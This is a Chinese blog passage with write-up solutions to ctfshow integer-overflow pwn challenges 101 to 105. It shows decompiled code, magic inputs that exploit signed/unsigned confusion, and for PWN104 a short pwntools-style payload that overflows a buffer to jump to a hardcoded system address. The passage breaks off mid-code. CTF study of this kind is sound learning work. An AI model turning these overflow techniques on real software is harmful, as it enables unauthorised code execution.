ctfshow 整数溢出--[101-110]

原创

于 2024-11-24 17:58:54 发布 · 798 阅读

10 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全

PWN101

int useful()
{
   
   
  puts(" ====================================================================================================");
  puts("           Type         |      Byte      |                          Range                            ");
  puts(" ====================================================================================================");
  puts("      short int         |     2 byte     |                  0~0x7fff 0x8000~0xffff                   ");
  puts("   unsigned short int   |     2 byte     |                        0~0xffff                           ");
  puts("          int           |     4 byte     |             0~0x7fffffff 0x80000000~0xffffffff            ");
  puts("    unsigned int        |     4 byte     |                        0~0xffffffff                       ");
  puts("      long int          |     8 byte     | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff");
  puts("   unsigned long int    |     8 byte     |                    0~0xffffffffffffffff                   ");
  return puts(" ====================================================================================================");
}

这里的0 ~ 0x7fffffff就是 0~2147483647 ，

0x80000000 ~ 0xffffffff就是 -2147483648 ~ -1

输入

-2147483648 2147483647

PWN102

int __cdecl main(int argc, const char **argv, const char **envp)
{
   
   
  unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  puts("Maybe these help you:");
  useful();
  v4 = 0;
  printf("Enter an unsigned integer: ");
  __isoc99_scanf("%u", &v4);
  if ( v4 == -1 )
    gift();
  else
    printf("Number = %u\n", v4);
  return 0;
}

有符号和无符号比较时，会把有符号转换成无符号类型，-1 对应的二

进制表示为 0xFFFFFFFF，也就是 4294967295

PWN103

输入 0 ，-1

PWN 104

ru(b"How long are you?")
sl(b"-1")
ru(b"Who are you?")
system_addr = 0x40078D

payload = b"a"*(0xe+8)+p64(system_addr)
sl(payload)

PWN105

char *__cdecl ctfshow(char *s)
{
   
   
  char dest[8]; // [esp+7h] [ebp-11h] BYREF
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
   
   
    puts<